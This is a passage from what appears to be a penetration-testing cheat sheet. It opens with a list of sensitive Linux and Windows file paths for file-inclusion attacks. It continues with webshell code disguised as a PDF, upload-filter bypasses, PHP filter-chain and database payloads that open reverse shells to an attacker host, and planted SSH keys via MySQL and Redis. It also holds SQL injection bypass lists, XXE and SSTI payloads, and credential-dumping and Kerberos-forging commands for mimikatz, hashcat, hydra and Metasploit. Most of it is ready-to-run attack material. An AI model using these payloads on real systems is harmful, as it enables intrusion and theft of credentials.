/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsessionWindows Files
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].logPDF PHP Inclusion
Create a file with a PDF header, which contains PHP code.
%PDF-1.4
<?php
system($_GET["cmd"]);
?>http://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoamiPHP Upload Filter Bypasses
.sh
.cgi
.inc
.txt
.pht
.phtml
.phP
.Php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.jpeg<FILE>.php%20
<FILE>.php%0d%0a.jpg
<FILE>.php%0a
<FILE>.php.jpg
<FILE>.php%00.gif
<FILE>.php\x00.gif
<FILE>.php%00.png
<FILE>.php\x00.png
<FILE>.php%00.jpg
<FILE>.php\x00.jpg
mv <FILE>.jpg <FILE>.php\x00.jpgPHP Filter Chain Generator
python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
python3 php_filter_chain_generator.py --chain "<?php echo shell_exec(id); ?>"
python3 php_filter_chain_generator.py --chain """<?php echo shell_exec(id); ?>"""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""http://<RHOST>/?page=php://filter/convert.base64-decode/resource=PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTsgPz4python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
[+] The following gadget chain will generate the following code : <?= exec($_GET[0]); ?> (base64 value: PD89IGV4ZWMoJF9HRVRbMF0pOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<--- SNIP --->|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=<COMMAND>PHP Generic Gadget Chains (PHPGGC)
phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/<FILE>.txt /PATH/TO/FILE/<FILE>.txtServer-Side Request Forgery (SSRF)
https://<RHOST>/item/2?server=server.<RHOST>/file?id=9&x=Server-Side Template Injection (SSTI)
Fuzz String
https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti
${{<%[%'"}}%\.Magic Payload
https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
{{ ‘’.__class__.__mro__[1].__subclasses__() }}Upload Vulnerabilities
ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution
SVG: Stored XSS / Server-Side Request Forgery
GIF: Stored XSS
CSV: CSV Injection
XML: XXE
AVI: Local File Inclusion / Server-Side request Forgery
HTML/JS: HTML Injection / XSS / Open Redirect
PNG / JPEG: Pixel Flood Attack
ZIP: Remote Code Exection via Local File Inclusion
PDF / PPTX: Server-Side Request Forgery / Blind XXEwfuzz
wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php --hc '403,404'Write to File
wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404Custom Scan with limited Output
wfuzz -w /PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abbf378e2339d1/db/file_FUZZ.txt --sc 200 -t 20Fuzzing two Parameters at once
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>:/<directory>/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -cDomain
wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.<RHOST>' -u http://<RHOST>/Subdomain
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST>Git
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://<RHOST>/FUZZ --hc 403,404Login
wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --hc 200 -c
wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --ss "Invalid login"SQL
wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16 http://<RHOST>/select httpDNS
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: http://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100Numbering Files
wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 http://10.13.37.11/backups/backup_2021052315FUZZ.zipEnumerating PIDs
wfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000WPScan
wpscan --url https://<RHOST> --enumerate u,t,p
wpscan --url https://<RHOST> --plugins-detection aggressive
wpscan --url https://<RHOST> --disable-tls-checks
wpscan --url https://<RHOST> --disable-tls-checks --enumerate u,t,p
wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50XML External Entity (XXE)
Skeleton Payload Request
GET / HTTP/1.1
Host: <RHOST>:<RPORT>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 136
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://<LHOST>:80/shell.php" >]>
<foo>&xxe;</foo>Payloads
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]>
<stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck><?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><quantity>3</quantity><item>&test;</item><address>17th Estate, CA</address></order>username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[+<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--Database Analysis
MongoDB
mongo "mongodb://localhost:27017"> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;User Password Reset to "12345"
> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })MSSQL
Show Database Content
1> SELECT name FROM master.sys.databases
2> goOPENQUERY
1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> goBinary Extraction as Base64
1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > export.txtSteal NetNTLM Hash / Relay Attack
SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'MySQL
mysql -u root -p
mysql -u <USERNAME> -h <RHOST> -pmysql> show databases;
mysql> use <DATABASE>;
mysql> show tables;
mysql> describe <TABLE>;
mysql> SELECT * FROM Users;
mysql> SELECT * FROM users \G;
mysql> SELECT Username,Password FROM Users;Update User Password
mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1;Drop a Shell
mysql> \! /bin/shxp_cmdshell
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure
SQL> xp_cmdshell "whoami"SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoamiInsert Code to get executed
mysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')");Write SSH Key into authorized_keys2 file
mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n';Linked SQL Server Enumeration
SQL> SELECT user_name();
SQL> SELECT name,sysadmin FROM syslogins;
SQL> SELECT srvname,isremote FROM sysservers;
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];NoSQL Injection
admin'||''==='
{"username": {"$ne": null}, "password": {"$ne": null} }PostgreSQL
psql
psql -h <LHOST> -U <USERNAME> -c "<COMMAND>;"
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>Common Commands
postgres=# \list // list all databases
postgres=# \c // use database
postgres=# \c <DATABASE> // use specific database
postgres=# \s // command history
postgres=# \q // quit
<DATABASE>=# \dt // list tables from current schema
<DATABASE>=# \dt *.* // list tables from all schema
<DATABASE>=# \du // list users roles
<DATABASE>=# \du+ // list users roles
<DATABASE>=# SELECT user; // get current user
<DATABASE>=# TABLE <TABLE>; // select table
<DATABASE>=# SELECT * FROM users; // select everything from users table
<DATABASE>=# SHOW rds.extensions; // list installed extensions
<DATABASE>=# SELECT usename, passwd from pg_shadow; // read credentialsRedis
> AUTH <PASSWORD>
> AUTH <USERNAME> <PASSWORD>
> INFO SERVER
> INFO keyspace
> CONFIG GET *
> SELECT <NUMBER>
> KEYS *
> HSET // set value if a field within a hash data structure
> HGET // retrieves a field and his value from a hash data structure
> HKEYS // retrieves all field names from a hash data structure
> HGETALL // retrieves all fields and values from a hash data structure
> GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
> SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";" # the value "s:8" has to match the length of the usernameEnter own SSH Key
redis-cli -h <RHOST>
echo "FLUSHALL" | redis-cli -h <RHOST>
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt
cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key
<RHOST>:6379> get s-key
<RHOST>:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
<RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
<RHOST>:6379> CONFIG SET dbfilename authorized_keys
OK
<RHOST>:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
<RHOST>:6379> save
OKsqlcmd
sqlcmd -S <RHOST> -U <USERNAME>SQL Injection
Master List
admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-Authentication Bypass
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055SQL Truncation Attack
'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'sqlite3
sqlite3 <FILE>.dbsqlite> .tables
sqlite> PRAGMA table_info(<TABLE>);
sqlite> SELECT * FROM <TABLE>;sqsh
sqsh -S <RHOST> -U <USERNAME>Password Attacks
CrackMapExec
crackmapexec ldap -L
crackmapexec mysql -L
crackmapexec smb -L
crackmapexec ssh -L
crackmapexec winrm -Lcrackmapexec smb <RHOST> -u " " -p "" --shares
crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus
crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u <USERNAME> -H <HASH> -x "whoami"
crackmapexec winrm -u usernames.txt -p '<PASSWORD>' -d <DOMAIN> <RHOST>
crackmapexec winrm <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser'
crackmapexec <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -m modules/credentials/mimikatz.pyfcrack
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.ziphashcat
hashcat --example-hasheshashcat -m 0 md5 /usr/share/wordlists/rockyou.txt
hashcat -m 100 sha-1 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 3200 bcrypt /usr/share/wordlists/rockyou.txt
hashcat -m 900 md4 /usr/share/wordlists/rockyou.txt
hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt
hashcat -m 1800 sha512 /usr/share/wordlists/rockyou.txt
hashcat -m 160 hmac-sha1 /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force
hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u --force hash.txt ?3?3?1?1?1?1?2?3Cracking ASPREPRoast Password File
hashcat -m 18200 -a 0 <FILE> <FILE>Cracking Kerberoasting Password File
hashcat -m 13100 --force <FILE> <FILE>Bruteforce based on the Pattern
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdoutGenerate Password Candidates: Wordlist + Pattern
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdoutGenerate NetNLTMv2 with internalMonologue and crack with hashcat
InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800Result
spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000Crack with hashcat
hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disableRules
https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule
Cracking with OneRuleToRuleThemAll.rule
hashcat -m 3200 hash.txt -r /PATH/TO/FILE.ruleHydra
hydra <RHOST> -l <USERNAME> -P /usr/share/wordlists/<FILE> ftp|ssh|smb://<RHOST>export HYDRA_PROXY=connect://127.0.0.1:8080
unset HYDRA_PROXYhydra -l <USERNAME> -P /usr/share/wordlists/rockyou.txt <RHOST> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error"hydra <RHOST> http-post-form -L /usr/share/wordlists/list "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT> -P /usr/share/wordlists/list
hydra <RHOST> http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -l root@localhost -P otrs-cewl.txt -vV -f
hydra -l admin -P /usr/share/wordlists/rockyou.txt <RHOST> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"John
/usr/share/john/ssh2john.py id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --rules --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --show <FILE>Kerbrute
User Enumeration
./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>Password Spray
./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD>LaZagne
laZagne.exe allmimikatz
Dump Hshes
.\mimikatz.exe
sekurlsa::minidump /users/admin/Desktop/lsass.DMP
sekurlsa::LogonPasswords
meterpreter > getprivs
meterpreter > creds_all
meterpreter > golden_ticket_createPass the Ticket
.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$Forging Golden Ticket
.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
misc::cmd
klist
dir \\<RHOST>\admin$Skeleton Key
privilege::debug
misc::skeleton
net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
dir \\<RHOST>\c$ /user:<USERNAME> mimikatzpypykatz
pypykatz lsa minidump lsass.dmpExploitation Tools
ImageTragick
MSL / Polyglot Attack
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
poc.svg
<image authenticate='ff" `echo $(cat /home/<USERNAME>/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>convert poc.svg poc.png
cp /tmp/poc.svg /var/www/html/convert_images/Metasploit
$ sudo msfdb run // start database
$ sudo msfdb init // database initialization
$ msfdb --use-defaults delete // delete existing databases
$ msfdb --use-defaults init // database initialization
$ msfdb status // database status
msf6 > workspace // metasploit workspaces
msf6 > workspace -a <WORKSPACE> // add a workspace
msf6 > workspace -r <WORKSPACE> // rename a workspace
msf6 > workspace -d <WORKSPACE> // delete a workspace
msf6 > workspace -D // delete all workspaces
msf6 > db_nmap <OPTIONS> // execute nmap and add output to database
msf6 > hosts // reads hosts from database
msf6 > services // reads services from database
msf6 > vulns // displaying vulnerabilities
msf6 > search // search within metasploit
msf6 > set RHOST <RHOST> // set remote host
msf6 > set RPORT <RPORT> // set remote port
msf6 > run // run exploit
msf6 > spool /PATH/TO/FILE // recording screen output
msf6 > save // saves current state
msf6 > exploit // using module exploit
msf6 > payload // using module payload
msf6 > auxiliary // using module auxiliary
msf6 > encoder // using module encoder
msf6 > nop // using module nop
msf6 > show sessions // displays all current sessions
msf6 > sessions -i 1 // switch to session 1
msf6 > sessions -u <ID> // upgrading shell to meterpreter
msf6 > sessions -k <ID> // kill specific session
msf6 > sessions -K // kill all sessions
msf6 > jobs // showing all current jobs
msf6 > show payloads // displaying available payloads
msf6 > set VERBOSE true // enable verbose output
msf6 > set forceexploit true // exploits the target anyways
msf6 > set EXITFUNC thread // reverse shell can exit without exit the program
msf6 > set AutoLoadStdapi false // disables autoload of stdapi
msf6 > set PrependMigrate true // enables automatic process migration
msf6 > set PrependMigrateProc explorer.exe // auto migrate to explorer.exe
msf6 > use post/PATH/TO/MODULE // use post exploitation module
msf6 > use post/linux/gather/hashdump // use hashdump for Linux
msf6 > use post/multi/manage/shell_to_meterpreter // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload // use a specific module
C:\> > Ctrl + z // put active meterpreter shell in background
meterpreter > loadstdapi // load stdapi
meterpreter > background // put meterpreter in background (same as "bg")
meterpreter > shell // get a system shell
meterpreter > channel -i <ID> // get back to existing meterpreter shell
meterpreter > ps // checking processes
meterpreter > migrate 2236 // migrate to a process
meterpreter > getuid // get the user id
meterpreter > sysinfo // get system information
meterpreter > search -f <FILE> // search for a file
meterpreter > upload // uploading local files to the target
meterpreter > ipconfig // get network configuration
meterpreter > load powershell // loads powershell
meterpreter > powershell_shell // follow-up command for load powershell
meterpreter > powershell_execute // execute command
meterpreter > powershell_import // import module
meterpreter > powershell_shell // shell
meterpreter > powershell_session_remove // remove
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress' // network discovery
meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }' // network scan
meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded' // port scan
meterpreter > load kiwi // load mimikatz
meterpreter > help kiwi // mimikatz help
meterpreter > kiwi_cmd // execute mimikatz native command
meterpreter > lsa_dump_sam // lsa sam dump
meterpreter > dcsync_ntlm krbtgt // dc sync
meterpreter > creds_all // dump all credentials
meterpreter > creds_msv // msv dump
meterpreter > creds_kerberos // kerberos dump
meterpreter > creds_ssp // ssp dump
meterpreter > creds_wdigest // wdigest dump
meterpreter > getprivs // get privileges after loading mimikatz
meterpreter > getsystem // gain system privileges if user is member of administrator group
meterpreter > hashdump // dumps all the user hashes
meterpreter > run post/windows/gather/checkvm // check status of the target
